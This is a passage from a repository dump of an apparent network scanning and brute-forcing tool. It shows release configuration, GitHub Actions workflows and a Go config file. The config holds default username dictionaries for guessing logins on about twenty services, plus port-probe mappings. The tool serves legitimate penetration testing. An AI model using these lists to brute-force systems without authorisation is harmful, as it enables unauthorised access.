allow_different_binary_count: true
name_template: >-
{{ .ProjectName }}_{{ .Version }}_
{{- if eq .Os "darwin" }}mac
{{- else }}{{ .Os }}{{ end }}_
{{- if eq .Arch "amd64" }}x64
{{- else if eq .Arch "386" }}x32
{{- else }}{{ .Arch }}{{ end }}
{{- if .Arm }}v{{ .Arm }}{{ end }}
{{- if eq .Os "windows" }}.exe{{ end }}
# 校验和
checksum:
name_template: 'checksums.txt'
algorithm: sha256
# 变更日志
changelog:
sort: asc
use: github
filters:
exclude:
- "^docs:"
- "^test:"
- "^ci:"
- "^chore:"
- "Merge pull request"
- "Merge branch"
groups:
- title: "🚀 新功能"
regexp: "^.*feat[(\\w)]*:+.*$"
order: 0
- title: "🐛 问题修复"
regexp: "^.*fix[(\\w)]*:+.*$"
order: 1
- title: "📚 文档更新"
regexp: "^.*docs[(\\w)]*:+.*$"
order: 2
- title: "🔧 其他改进"
order: 999
# 发布配置
release:
github:
owner: "{{ .Env.GITHUB_OWNER }}"
name: "{{ .Env.GITHUB_REPO }}"
draft: false
prerelease: auto
mode: replace
header: |
## 🎉 {{ .ProjectName }} {{ .Tag }} 发布说明
感谢使用 {{ .ProjectName }}!本次发布包含以下改进:
footer: |
## 📥 安装说明
下载对应平台的二进制文件即可使用。
**完整更新日志**: https://github.com/{{ .Env.GITHUB_OWNER }}/{{ .Env.GITHUB_REPO }}/compare/{{ .PreviousTag }}...{{ .Tag }}
---
如有问题请提交 [Issue](https://github.com/{{ .Env.GITHUB_OWNER }}/{{ .Env.GITHUB_REPO }}/issues) 💬
# 快照版本
snapshot:
name_template: "{{ incpatch .Version }}-dev-{{ .ShortCommit }}"
# 元数据
metadata:
mod_timestamp: "{{ .CommitTimestamp }}"
================================================
FILE: .github/workflows/release.yml
================================================
name: 发布构建
on:
push:
tags:
- 'v*'
workflow_dispatch:
inputs:
tag:
description: '发布标签'
required: true
default: 'v1.0.0'
draft:
description: '创建草稿发布'
type: boolean
default: false
prerelease:
description: '标记为预发布'
type: boolean
default: false
permissions:
contents: write
issues: write
pull-requests: write
jobs:
goreleaser:
name: 构建和发布
runs-on: ubuntu-latest
timeout-minutes: 60
# 设置作业级别的环境变量
env:
GITHUB_OWNER: ${{ github.repository_owner }}
GITHUB_REPO: ${{ github.event.repository.name }}
PROJECT_NAME: ${{ github.event.repository.name }}
steps:
- name: 📥 检出代码
uses: actions/checkout@v4
with:
fetch-depth: 0
token: ${{ secrets.GITHUB_TOKEN }}
- name: 🔍 获取项目信息
id: project
run: |
echo "owner=${GITHUB_REPOSITORY_OWNER}" >> $GITHUB_OUTPUT
echo "repo=${GITHUB_REPOSITORY#*/}" >> $GITHUB_OUTPUT
echo "version=${GITHUB_REF#refs/tags/}" >> $GITHUB_OUTPUT
echo "full_sha=${GITHUB_SHA}" >> $GITHUB_OUTPUT
echo "short_sha=${GITHUB_SHA:0:7}" >> $GITHUB_OUTPUT
echo "build_date=$(date -u +"%Y-%m-%d %H:%M:%S UTC")" >> $GITHUB_OUTPUT
echo "build_timestamp=$(date +%s)" >> $GITHUB_OUTPUT
- name: 🐹 设置 Go 环境
uses: actions/setup-go@v5
with:
go-version: '1.20'
cache: true
- name: 📦 下载依赖
run: |
go mod download
go mod verify
- name: 🗜️ 安装 UPX 压缩工具
uses: crazy-max/ghaction-upx@v3
with:
install-only: true
- name: ℹ️ 显示构建环境信息
run: |
echo "Go 版本: $(go version)"
echo "UPX 版本: $(upx --version)"
echo "Git 标签: ${{ steps.project.outputs.version }}"
echo "提交: ${{ steps.project.outputs.short_sha }}"
echo "仓库: ${{ steps.project.outputs.owner }}/${{ steps.project.outputs.repo }}"
echo "构建时间: ${{ steps.project.outputs.build_date }}"
echo "环境变量:"
echo "- GITHUB_OWNER: $GITHUB_OWNER"
echo "- GITHUB_REPO: $GITHUB_REPO"
echo "- PROJECT_NAME: $PROJECT_NAME"
- name: 📊 记录构建开始时间
id: build_start
run: |
echo "start_time=$(date +%s)" >> $GITHUB_OUTPUT
echo "start_readable=$(date -u +"%Y-%m-%d %H:%M:%S UTC")" >> $GITHUB_OUTPUT
- name: 🚀 构建和发布
id: build_step
uses: goreleaser/goreleaser-action@v5
with:
distribution: goreleaser
version: latest
args: release --clean -f .github/conf/.goreleaser.yml ${{ inputs.draft && '--draft' || '' }} ${{ inputs.prerelease && '--prerelease' || '' }}
workdir: .
env:
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
GITHUB_REPO: ${{ github.event.repository.name }}
GITHUB_OWNER: ${{ github.repository_owner }}
PROJECT_NAME: ${{ github.event.repository.name }}
continue-on-error: true
- name: 📊 记录构建结束时间
id: build_end
run: |
echo "end_time=$(date +%s)" >> $GITHUB_OUTPUT
echo "end_readable=$(date -u +"%Y-%m-%d %H:%M:%S UTC")" >> $GITHUB_OUTPUT
start_time=${{ steps.build_start.outputs.start_time }}
end_time=$(date +%s)
duration=$((end_time - start_time))
echo "duration=${duration}" >> $GITHUB_OUTPUT
echo "duration_readable=$(printf '%02d:%02d:%02d' $((duration/3600)) $((duration%3600/60)) $((duration%60)))" >> $GITHUB_OUTPUT
- name: 📋 上传构建产物
uses: actions/upload-artifact@v4
if: always()
with:
name: 构建产物-${{ steps.project.outputs.version }}
path: |
dist/
retention-days: 30
continue-on-error: true
- name: 📊 统计构建产物
id: build_stats
run: |
if [ -d "dist" ]; then
total_files=$(find dist/ -type f | wc -l)
executable_files=$(find dist/ -type f -executable | wc -l)
config_files=$(find dist/ -name "*.json" -o -name "*.yaml" -o -name "*.yml" -o -name "*.txt" | wc -l)
# 平台统计
linux_count=$(find dist/ -name "*linux*" -type f | wc -l)
darwin_count=$(find dist/ -name "*darwin*" -type f | wc -l)
windows_count=$(find dist/ -name "*windows*" -type f | wc -l)
echo "total_files=$total_files" >> $GITHUB_OUTPUT
echo "executable_files=$executable_files" >> $GITHUB_OUTPUT
echo "config_files=$config_files" >> $GITHUB_OUTPUT
echo "linux_count=$linux_count" >> $GITHUB_OUTPUT
echo "darwin_count=$darwin_count" >> $GITHUB_OUTPUT
echo "windows_count=$windows_count" >> $GITHUB_OUTPUT
else
echo "total_files=0" >> $GITHUB_OUTPUT
echo "executable_files=0" >> $GITHUB_OUTPUT
echo "config_files=0" >> $GITHUB_OUTPUT
echo "linux_count=0" >> $GITHUB_OUTPUT
echo "darwin_count=0" >> $GITHUB_OUTPUT
echo "windows_count=0" >> $GITHUB_OUTPUT
fi
- name: 📊 生成发布报告
if: always()
run: |
# 构建状态判断
if [[ "${{ steps.build_step.outcome }}" == "success" ]]; then
build_status=""
release_status=""
else
build_status=""
release_status=""
fi
echo "# 🎉 发布构建报告" >> $GITHUB_STEP_SUMMARY
echo "" >> $GITHUB_STEP_SUMMARY
echo "$build_status $release_status" >> $GITHUB_STEP_SUMMARY
echo "" >> $GITHUB_STEP_SUMMARY
# 基本信息
echo "## 📋 发布基本信息" >> $GITHUB_STEP_SUMMARY
echo "" >> $GITHUB_STEP_SUMMARY
echo "| 项目 | 值 |" >> $GITHUB_STEP_SUMMARY
echo "|------|-----|" >> $GITHUB_STEP_SUMMARY
echo "| 🏷️ **项目名称** | ${{ steps.project.outputs.repo }} |" >> $GITHUB_STEP_SUMMARY
echo "| 👤 **拥有者** | ${{ steps.project.outputs.owner }} |" >> $GITHUB_STEP_SUMMARY
echo "| 🏷️ **版本** | \`${{ steps.project.outputs.version }}\` |" >> $GITHUB_STEP_SUMMARY
echo "| 📝 **提交SHA** | \`${{ steps.project.outputs.short_sha }}\` |" >> $GITHUB_STEP_SUMMARY
echo "| 📅 **构建时间** | ${{ steps.project.outputs.build_date }} |" >> $GITHUB_STEP_SUMMARY
echo "| ⏱️ **构建耗时** | ${{ steps.build_end.outputs.duration_readable }} |" >> $GITHUB_STEP_SUMMARY
echo "| 🚀 **触发方式** | ${{ github.event_name }} |" >> $GITHUB_STEP_SUMMARY
echo "| 🔧 **Go版本** | $(go version | cut -d' ' -f3) |" >> $GITHUB_STEP_SUMMARY
echo "| 🗜️ **UPX版本** | $(upx --version | head -1 | cut -d' ' -f2) |" >> $GITHUB_STEP_SUMMARY
echo "| 📦 **发布类型** | $(if [[ "${{ inputs.draft }}" == "true" ]]; then echo "草稿"; elif [[ "${{ inputs.prerelease }}" == "true" ]]; then echo "预发布"; else echo "正式发布"; fi) |" >> $GITHUB_STEP_SUMMARY
echo "" >> $GITHUB_STEP_SUMMARY
# 构建环境信息
echo "## 🖥️ 构建环境" >> $GITHUB_STEP_SUMMARY
echo "" >> $GITHUB_STEP_SUMMARY
echo "| 环境变量 | 值 |" >> $GITHUB_STEP_SUMMARY
echo "|----------|-----|" >> $GITHUB_STEP_SUMMARY
echo "| **GITHUB_OWNER** | $GITHUB_OWNER |" >> $GITHUB_STEP_SUMMARY
echo "| **GITHUB_REPO** | $GITHUB_REPO |" >> $GITHUB_STEP_SUMMARY
echo "| **PROJECT_NAME** | $PROJECT_NAME |" >> $GITHUB_STEP_SUMMARY
echo "| **RUNNER_OS** | $RUNNER_OS |" >> $GITHUB_STEP_SUMMARY
echo "| **RUNNER_ARCH** | $RUNNER_ARCH |" >> $GITHUB_STEP_SUMMARY
echo "" >> $GITHUB_STEP_SUMMARY
# 构建时间统计
echo "## ⏰ 构建时间统计" >> $GITHUB_STEP_SUMMARY
echo "" >> $GITHUB_STEP_SUMMARY
echo "| 阶段 | 时间 |" >> $GITHUB_STEP_SUMMARY
echo "|------|------|" >> $GITHUB_STEP_SUMMARY
echo "| 🚀 **开始时间** | ${{ steps.build_start.outputs.start_readable }} |" >> $GITHUB_STEP_SUMMARY
echo "| 🏁 **结束时间** | ${{ steps.build_end.outputs.end_readable }} |" >> $GITHUB_STEP_SUMMARY
echo "| ⏱️ **总耗时** | ${{ steps.build_end.outputs.duration_readable }} |" >> $GITHUB_STEP_SUMMARY
echo "" >> $GITHUB_STEP_SUMMARY
# 构建结果
echo "## 🚀 构建结果" >> $GITHUB_STEP_SUMMARY
echo "" >> $GITHUB_STEP_SUMMARY
echo "| 构建阶段 | 状态 |" >> $GITHUB_STEP_SUMMARY
echo "|----------|------|" >> $GITHUB_STEP_SUMMARY
if [[ "${{ steps.build_step.outcome }}" == "success" ]]; then
echo "| 🏗️ **构建发布** | ✅ 成功 |" >> $GITHUB_STEP_SUMMARY
else
echo "| 🏗️ **构建发布** | ❌ 失败 |" >> $GITHUB_STEP_SUMMARY
fi
echo "" >> $GITHUB_STEP_SUMMARY
# 发布产物统计
if [ -d "dist" ]; then
echo "## 📦 发布产物统计" >> $GITHUB_STEP_SUMMARY
echo "" >> $GITHUB_STEP_SUMMARY
# 文件类型统计
echo "### 📊 文件类型统计" >> $GITHUB_STEP_SUMMARY
echo "" >> $GITHUB_STEP_SUMMARY
echo "| 文件类型 | 数量 |" >> $GITHUB_STEP_SUMMARY
echo "|----------|------|" >> $GITHUB_STEP_SUMMARY
echo "| 📁 **总文件数** | ${{ steps.build_stats.outputs.total_files }} |" >> $GITHUB_STEP_SUMMARY
echo "| 🔧 **可执行文件** | ${{ steps.build_stats.outputs.executable_files }} |" >> $GITHUB_STEP_SUMMARY
echo "| 📄 **配置文件** | ${{ steps.build_stats.outputs.config_files }} |" >> $GITHUB_STEP_SUMMARY
echo "" >> $GITHUB_STEP_SUMMARY
# 平台分布统计
echo "### 🌍 平台分布统计" >> $GITHUB_STEP_SUMMARY
echo "" >> $GITHUB_STEP_SUMMARY
echo "| 平台 | 数量 |" >> $GITHUB_STEP_SUMMARY
echo "|------|------|" >> $GITHUB_STEP_SUMMARY
echo "| 🐧 **Linux** | ${{ steps.build_stats.outputs.linux_count }} |" >> $GITHUB_STEP_SUMMARY
echo "| 🍎 **macOS** | ${{ steps.build_stats.outputs.darwin_count }} |" >> $GITHUB_STEP_SUMMARY
echo "| 🪟 **Windows** | ${{ steps.build_stats.outputs.windows_count }} |" >> $GITHUB_STEP_SUMMARY
echo "" >> $GITHUB_STEP_SUMMARY
# 总产物大小
echo "### 📦 产物大小" >> $GITHUB_STEP_SUMMARY
echo "" >> $GITHUB_STEP_SUMMARY
total_size=$(du -sh dist/ 2>/dev/null | cut -f1 || echo "未知")
echo "**总产物大小**: $total_size" >> $GITHUB_STEP_SUMMARY
echo "" >> $GITHUB_STEP_SUMMARY
fi
# 发布总结
echo "## 📈 发布总结" >> $GITHUB_STEP_SUMMARY
echo "" >> $GITHUB_STEP_SUMMARY
if [[ "${{ steps.build_step.outcome }}" == "success" ]]; then
echo "🎉 **构建状态**: ✅ 成功" >> $GITHUB_STEP_SUMMARY
echo "🎉 **发布状态**: ✅ 成功" >> $GITHUB_STEP_SUMMARY
echo "🔗 **发布链接**: https://github.com/${{ steps.project.outputs.owner }}/${{ steps.project.outputs.repo }}/releases/tag/${{ steps.project.outputs.version }}" >> $GITHUB_STEP_SUMMARY
else
echo "🎉 **构建状态**: ❌ 失败" >> $GITHUB_STEP_SUMMARY
echo "🎉 **发布状态**: ❌ 失败" >> $GITHUB_STEP_SUMMARY
fi
echo "📊 **可执行文件**: ${{ steps.build_stats.outputs.executable_files }} 个" >> $GITHUB_STEP_SUMMARY
echo "⏱️ **构建耗时**: ${{ steps.build_end.outputs.duration_readable }}" >> $GITHUB_STEP_SUMMARY
echo "📦 **产物大小**: $(du -sh dist/ 2>/dev/null | cut -f1 || echo "未知")" >> $GITHUB_STEP_SUMMARY
echo "" >> $GITHUB_STEP_SUMMARY
# 快速链接
echo "## 🔗 快速链接" >> $GITHUB_STEP_SUMMARY
echo "" >> $GITHUB_STEP_SUMMARY
echo "- 🎯 [查看发布页面](https://github.com/${{ steps.project.outputs.owner }}/${{ steps.project.outputs.repo }}/releases/tag/${{ steps.project.outputs.version }})" >> $GITHUB_STEP_SUMMARY
echo "- 📋 [查看产物列表](https://github.com/${{ steps.project.outputs.owner }}/${{ steps.project.outputs.repo }}/actions/runs/${{ github.run_id }})" >> $GITHUB_STEP_SUMMARY
echo "- 📥 [下载产物](https://github.com/${{ steps.project.outputs.owner }}/${{ steps.project.outputs.repo }}/actions/runs/${{ github.run_id }})" >> $GITHUB_STEP_SUMMARY
echo "- 🔍 [查看提交](https://github.com/${{ steps.project.outputs.owner }}/${{ steps.project.outputs.repo }}/commit/${{ steps.project.outputs.full_sha }})" >> $GITHUB_STEP_SUMMARY
echo "" >> $GITHUB_STEP_SUMMARY
echo "---" >> $GITHUB_STEP_SUMMARY
echo "*报告生成时间: $(date -u +"%Y-%m-%d %H:%M:%S UTC")*" >> $GITHUB_STEP_SUMMARY
- name: 📬 发送通知
if: always()
run: |
if [[ "${{ steps.build_step.outcome }}" == "success" ]]; then
echo "✅ 发布成功!版本 ${{ steps.project.outputs.version }} 已发布"
# 这里可以添加发送成功通知的逻辑(如 Slack、邮件等)
else
echo "❌ 发布失败!请检查构建日志"
# 这里可以添加发送失败通知的逻辑
fi
================================================
FILE: .github/workflows/test-build.yml
================================================
name: 测试构建
on:
push:
branches:
- dev
- develop
- feature/*
pull_request:
branches:
- main
- master
- dev
workflow_dispatch:
inputs:
branch:
description: '测试分支'
required: false
default: 'dev'
permissions:
contents: read
jobs:
test-build:
name: 测试构建
runs-on: ubuntu-latest
timeout-minutes: 30
# 设置作业级别的环境变量
env:
GITHUB_OWNER: ${{ github.repository_owner }}
GITHUB_REPO: ${{ github.event.repository.name }}
PROJECT_NAME: ${{ github.event.repository.name }}
steps:
- name: 📥 检出代码
uses: actions/checkout@v4
with:
fetch-depth: 0
ref: ${{ github.event.inputs.branch || github.ref }}
- name: 🔍 获取项目信息
id: project
run: |
echo "owner=${GITHUB_REPOSITORY_OWNER}" >> $GITHUB_OUTPUT
echo "repo=${GITHUB_REPOSITORY#*/}" >> $GITHUB_OUTPUT
echo "branch=${GITHUB_REF#refs/heads/}" >> $GITHUB_OUTPUT
echo "short_sha=${GITHUB_SHA:0:7}" >> $GITHUB_OUTPUT
echo "full_sha=${GITHUB_SHA}" >> $GITHUB_OUTPUT
echo "build_date=$(date -u +"%Y-%m-%d %H:%M:%S UTC")" >> $GITHUB_OUTPUT
echo "timestamp=$(date +%s)" >> $GITHUB_OUTPUT
- name: 🐹 设置 Go 环境
uses: actions/setup-go@v5
with:
go-version: '1.20'
cache: true
- name: 📦 下载依赖
run: |
go mod download
go mod verify
- name: 🗜️ 安装 UPX 压缩工具
uses: crazy-max/ghaction-upx@v3
with:
install-only: true
- name: ℹ️ 显示构建环境信息
run: |
echo "Go 版本: $(go version)"
echo "UPX 版本: $(upx --version)"
echo "分支: ${{ steps.project.outputs.branch }}"
echo "提交: ${{ steps.project.outputs.short_sha }}"
echo "仓库: ${{ steps.project.outputs.owner }}/${{ steps.project.outputs.repo }}"
echo "构建时间: ${{ steps.project.outputs.build_date }}"
echo "环境变量:"
echo "- GITHUB_OWNER: $GITHUB_OWNER"
echo "- GITHUB_REPO: $GITHUB_REPO"
echo "- PROJECT_NAME: $PROJECT_NAME"
- name: 📊 记录构建开始时间
id: build_start
run: |
echo "start_time=$(date +%s)" >> $GITHUB_OUTPUT
echo "start_readable=$(date -u +"%Y-%m-%d %H:%M:%S UTC")" >> $GITHUB_OUTPUT
- name: 🚀 测试构建 (Snapshot 模式)
uses: goreleaser/goreleaser-action@v5
with:
distribution: goreleaser
version: latest
args: release --snapshot --clean -f .github/conf/.goreleaser.yml
workdir: .
env:
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
- name: 📊 记录构建结束时间
id: build_end
run: |
echo "end_time=$(date +%s)" >> $GITHUB_OUTPUT
echo "end_readable=$(date -u +"%Y-%m-%d %H:%M:%S UTC")" >> $GITHUB_OUTPUT
start_time=${{ steps.build_start.outputs.start_time }}
end_time=$(date +%s)
duration=$((end_time - start_time))
echo "duration=${duration}" >> $GITHUB_OUTPUT
echo "duration_readable=$(printf '%02d:%02d:%02d' $((duration/3600)) $((duration%3600/60)) $((duration%60)))" >> $GITHUB_OUTPUT
- name: 📋 上传测试产物
uses: actions/upload-artifact@v4
with:
name: 测试构建-${{ steps.project.outputs.branch }}-${{ steps.project.outputs.short_sha }}
path: |
dist/
retention-days: 7
- name: 📊 统计构建产物
id: build_stats
run: |
if [ -d "dist" ]; then
total_files=$(find dist/ -type f | wc -l)
executable_files=$(find dist/ -type f -executable | wc -l)
config_files=$(find dist/ -name "*.json" -o -name "*.yaml" -o -name "*.yml" -o -name "*.txt" | wc -l)
echo "total_files=$total_files" >> $GITHUB_OUTPUT
echo "executable_files=$executable_files" >> $GITHUB_OUTPUT
echo "config_files=$config_files" >> $GITHUB_OUTPUT
else
echo "total_files=0" >> $GITHUB_OUTPUT
echo "executable_files=0" >> $GITHUB_OUTPUT
echo "config_files=0" >> $GITHUB_OUTPUT
fi
- name: 📊 生成构建报告
if: always()
run: |
echo "# 🎯 测试构建报告" >> $GITHUB_STEP_SUMMARY
echo "" >> $GITHUB_STEP_SUMMARY
# 基本信息表格
echo "## 📋 构建基本信息" >> $GITHUB_STEP_SUMMARY
echo "" >> $GITHUB_STEP_SUMMARY
echo "| 项目 | 值 |" >> $GITHUB_STEP_SUMMARY
echo "|------|-----|" >> $GITHUB_STEP_SUMMARY
echo "| 🏷️ **项目名称** | ${{ steps.project.outputs.repo }} |" >> $GITHUB_STEP_SUMMARY
echo "| 👤 **拥有者** | ${{ steps.project.outputs.owner }} |" >> $GITHUB_STEP_SUMMARY
echo "| 🌿 **分支** | ${{ steps.project.outputs.branch }} |" >> $GITHUB_STEP_SUMMARY
echo "| 📝 **提交SHA** | \`${{ steps.project.outputs.short_sha }}\` |" >> $GITHUB_STEP_SUMMARY
echo "| 📅 **构建时间** | ${{ steps.project.outputs.build_date }} |" >> $GITHUB_STEP_SUMMARY
echo "| ⏱️ **构建耗时** | ${{ steps.build_end.outputs.duration_readable }} |" >> $GITHUB_STEP_SUMMARY
echo "| 🚀 **触发方式** | ${{ github.event_name }} |" >> $GITHUB_STEP_SUMMARY
echo "| 🔧 **Go版本** | $(go version | cut -d' ' -f3) |" >> $GITHUB_STEP_SUMMARY
echo "| 🗜️ **UPX版本** | $(upx --version | head -1 | cut -d' ' -f2) |" >> $GITHUB_STEP_SUMMARY
echo "" >> $GITHUB_STEP_SUMMARY
# 构建环境信息
echo "## 🖥️ 构建环境" >> $GITHUB_STEP_SUMMARY
echo "" >> $GITHUB_STEP_SUMMARY
echo "| 环境变量 | 值 |" >> $GITHUB_STEP_SUMMARY
echo "|----------|-----|" >> $GITHUB_STEP_SUMMARY
echo "| **GITHUB_OWNER** | $GITHUB_OWNER |" >> $GITHUB_STEP_SUMMARY
echo "| **GITHUB_REPO** | $GITHUB_REPO |" >> $GITHUB_STEP_SUMMARY
echo "| **PROJECT_NAME** | $PROJECT_NAME |" >> $GITHUB_STEP_SUMMARY
echo "| **RUNNER_OS** | $RUNNER_OS |" >> $GITHUB_STEP_SUMMARY
echo "| **RUNNER_ARCH** | $RUNNER_ARCH |" >> $GITHUB_STEP_SUMMARY
echo "" >> $GITHUB_STEP_SUMMARY
# 构建时间统计
echo "## ⏰ 构建时间统计" >> $GITHUB_STEP_SUMMARY
echo "" >> $GITHUB_STEP_SUMMARY
echo "| 阶段 | 时间 |" >> $GITHUB_STEP_SUMMARY
echo "|------|------|" >> $GITHUB_STEP_SUMMARY
echo "| 🚀 **开始时间** | ${{ steps.build_start.outputs.start_readable }} |" >> $GITHUB_STEP_SUMMARY
echo "| 🏁 **结束时间** | ${{ steps.build_end.outputs.end_readable }} |" >> $GITHUB_STEP_SUMMARY
echo "| ⏱️ **总耗时** | ${{ steps.build_end.outputs.duration_readable }} |" >> $GITHUB_STEP_SUMMARY
echo "" >> $GITHUB_STEP_SUMMARY
# 构建产物统计
if [ -d "dist" ]; then
echo "## 📦 构建产物统计" >> $GITHUB_STEP_SUMMARY
echo "" >> $GITHUB_STEP_SUMMARY
# 文件类型统计
echo "### 📊 文件类型统计" >> $GITHUB_STEP_SUMMARY
echo "" >> $GITHUB_STEP_SUMMARY
echo "| 文件类型 | 数量 |" >> $GITHUB_STEP_SUMMARY
echo "|----------|------|" >> $GITHUB_STEP_SUMMARY
echo "| 📁 **总文件数** | ${{ steps.build_stats.outputs.total_files }} |" >> $GITHUB_STEP_SUMMARY
echo "| 🔧 **可执行文件** | ${{ steps.build_stats.outputs.executable_files }} |" >> $GITHUB_STEP_SUMMARY
echo "| 📄 **配置文件** | ${{ steps.build_stats.outputs.config_files }} |" >> $GITHUB_STEP_SUMMARY
echo "" >> $GITHUB_STEP_SUMMARY
# 总产物大小
echo "### 📦 产物大小" >> $GITHUB_STEP_SUMMARY
echo "" >> $GITHUB_STEP_SUMMARY
total_size=$(du -sh dist/ 2>/dev/null | cut -f1 || echo "未知")
echo "**总产物大小**: $total_size" >> $GITHUB_STEP_SUMMARY
echo "" >> $GITHUB_STEP_SUMMARY
fi
# 总结
echo "## 📈 构建总结" >> $GITHUB_STEP_SUMMARY
echo "" >> $GITHUB_STEP_SUMMARY
if [ "${{ job.status }}" == "success" ]; then
echo "🎉 **构建状态**: ✅ 成功" >> $GITHUB_STEP_SUMMARY
else
echo "🎉 **构建状态**: ❌ 失败" >> $GITHUB_STEP_SUMMARY
fi
echo "📊 **可执行文件**: ${{ steps.build_stats.outputs.executable_files }} 个" >> $GITHUB_STEP_SUMMARY
echo "⏱️ **构建耗时**: ${{ steps.build_end.outputs.duration_readable }}" >> $GITHUB_STEP_SUMMARY
echo "📦 **产物大小**: $(du -sh dist/ 2>/dev/null | cut -f1 || echo "未知")" >> $GITHUB_STEP_SUMMARY
echo "" >> $GITHUB_STEP_SUMMARY
# 添加快速链接
echo "## 🔗 快速链接" >> $GITHUB_STEP_SUMMARY
echo "" >> $GITHUB_STEP_SUMMARY
echo "- 📋 [查看产物列表](https://github.com/${{ steps.project.outputs.owner }}/${{ steps.project.outputs.repo }}/actions/runs/${{ github.run_id }})" >> $GITHUB_STEP_SUMMARY
echo "- 📥 [下载产物](https://github.com/${{ steps.project.outputs.owner }}/${{ steps.project.outputs.repo }}/actions/runs/${{ github.run_id }})" >> $GITHUB_STEP_SUMMARY
echo "- 🔍 [查看提交](https://github.com/${{ steps.project.outputs.owner }}/${{ steps.project.outputs.repo }}/commit/${{ steps.project.outputs.full_sha }})" >> $GITHUB_STEP_SUMMARY
echo "- 🌿 [查看分支](https://github.com/${{ steps.project.outputs.owner }}/${{ steps.project.outputs.repo }}/tree/${{ steps.project.outputs.branch }})" >> $GITHUB_STEP_SUMMARY
echo "" >> $GITHUB_STEP_SUMMARY
echo "---" >> $GITHUB_STEP_SUMMARY
echo "*报告生成时间: $(date -u +"%Y-%m-%d %H:%M:%S UTC")*" >> $GITHUB_STEP_SUMMARY
================================================
FILE: .gitignore
================================================
result.txt
main
.idea
fscan.exe
fscan
makefile
fscanapi.csv
================================================
FILE: Common/Config.go
================================================
package Common
import (
"github.com/schollz/progressbar/v3"
"sync"
)
var version = "2.0.1"
var Userdict = map[string][]string{
"ftp": {"ftp", "admin", "www", "web", "root", "db", "wwwroot", "data"},
"mysql": {"root", "mysql"},
"mssql": {"sa", "sql"},
"smb": {"administrator", "admin", "guest"},
"rdp": {"administrator", "admin", "guest"},
"postgresql": {"postgres", "admin"},
"ssh": {"root", "admin"},
"mongodb": {"root", "admin"},
"oracle": {"sys", "system", "admin", "test", "web", "orcl"},
"telnet": {"root", "admin", "test"},
"elastic": {"elastic", "admin", "kibana"},
"rabbitmq": {"guest", "admin", "administrator", "rabbit", "rabbitmq", "root"},
"kafka": {"admin", "kafka", "root", "test"},
"activemq": {"admin", "root", "activemq", "system", "user"},
"ldap": {"admin", "administrator", "root", "cn=admin", "cn=administrator", "cn=manager"},
"smtp": {"admin", "root", "postmaster", "mail", "smtp", "administrator"},
"imap": {"admin", "mail", "postmaster", "root", "user", "test"},
"pop3": {"admin", "root", "mail", "user", "test", "postmaster"},
"zabbix": {"Admin", "admin", "guest", "user"},
"rsync": {"rsync", "root", "admin", "backup"},
"cassandra": {"cassandra", "admin", "root", "system"},
"neo4j": {"neo4j", "admin", "root", "test"},
}
var DefaultMap = []string{
"GenericLines",
"GetRequest",
"TLSSessionReq",
"SSLSessionReq",
"ms-sql-s",
"JavaRMI",
"LDAPSearchReq",
"LDAPBindReq",
"oracle-tns",
"Socks5",
}
var PortMap = map[int][]string{
1: {"GetRequest", "Help"},
7: {"Help"},
21: {"GenericLines", "Help"},
23: {"GenericLines", "tn3270"},
25: {"Hello", "Help"},
35: {"GenericLines"},
42: {"SMBProgNeg"},
43: {"GenericLines"},
53: {"DNSVersionBindReqTCP", "DNSStatusRequestTCP"},
70: {"GetRequest"},
79: {"GenericLines", "GetRequest", "Help"},
80: {"GetRequest", "HTTPOptions", "RTSPRequest", "X11Probe", "FourOhFourRequest"},
81: {"GetRequest", "HTTPOptions", "RPCCheck", "FourOhFourRequest"},
82: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
83: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
84: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
85: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
88: {"GetRequest", "Kerberos", "SMBProgNeg", "FourOhFourRequest"},
98: {"GenericLines"},
110: {"GenericLines"},
111: {"RPCCheck"},
113: {"GenericLines", "GetRequest", "Help"},
119: {"GenericLines", "Help"},
130: {"NotesRPC"},
135: {"DNSVersionBindReqTCP", "SMBProgNeg"},
139: {"GetRequest", "SMBProgNeg"},
143: {"GetRequest"},
175: {"NJE"},
199: {"GenericLines", "RPCCheck", "Socks5", "Socks4"},
214: {"GenericLines"},
256: {"LDAPSearchReq", "LDAPBindReq"},
257: {"LDAPSearchReq", "LDAPBindReq"},
261: {"SSLSessionReq"},
264: {"GenericLines"},
271: {"SSLSessionReq"},
280: {"GetRequest"},
322: {"RTSPRequest", "SSLSessionReq"},
324: {"SSLSessionReq"},
389: {"LDAPSearchReq", "LDAPBindReq"},
390: {"LDAPSearchReq", "LDAPBindReq"},
406: {"SIPOptions"},
427: {"NotesRPC"},
443: {"TLSSessionReq", "GetRequest", "HTTPOptions", "SSLSessionReq", "SSLv23SessionReq", "X11Probe", "FourOhFourRequest", "tor-versions", "OpenVPN"},
444: {"TLSSessionReq", "SSLSessionReq", "SSLv23SessionReq"},
445: {"SMBProgNeg"},
448: {"SSLSessionReq"},
449: {"GenericLines"},
465: {"Hello", "Help", "TLSSessionReq", "SSLSessionReq", "SSLv23SessionReq"},
497: {"GetRequest", "X11Probe"},
500: {"OpenVPN"},
505: {"GenericLines", "GetRequest"},
510: {"GenericLines"},
512: {"DNSVersionBindReqTCP"},
513: {"DNSVersionBindReqTCP", "DNSStatusRequestTCP"},
514: {"GetRequest", "RPCCheck", "DNSVersionBindReqTCP", "DNSStatusRequestTCP"},
515: {"GetRequest", "Help", "LPDString", "TerminalServer"},
523: {"ibm-db2-das", "ibm-db2"},
524: {"NCP"},
540: {"GenericLines", "GetRequest"},
543: {"DNSVersionBindReqTCP"},
544: {"RPCCheck", "DNSVersionBindReqTCP"},
548: {"SSLSessionReq", "SSLv23SessionReq", "afp"},
554: {"GetRequest", "RTSPRequest"},
563: {"SSLSessionReq"},
585: {"SSLSessionReq"},
587: {"GenericLines", "Hello", "Help"},
591: {"GetRequest"},
616: {"GenericLines"},
620: {"GetRequest"},
623: {"tn3270"},
628: {"GenericLines", "DNSVersionBindReqTCP"},
631: {"GetRequest", "HTTPOptions"},
636: {"TLSSessionReq", "SSLSessionReq", "SSLv23SessionReq", "LDAPSearchReq", "LDAPBindReq"},
637: {"LDAPSearchReq", "LDAPBindReq"},
641: {"HTTPOptions"},
660: {"SMBProgNeg"},
666: {"GenericLines", "beast2"},
684: {"SSLSessionReq"},
706: {"JavaRMI", "mydoom", "WWWOFFLEctrlstat"},
710: {"RPCCheck"},
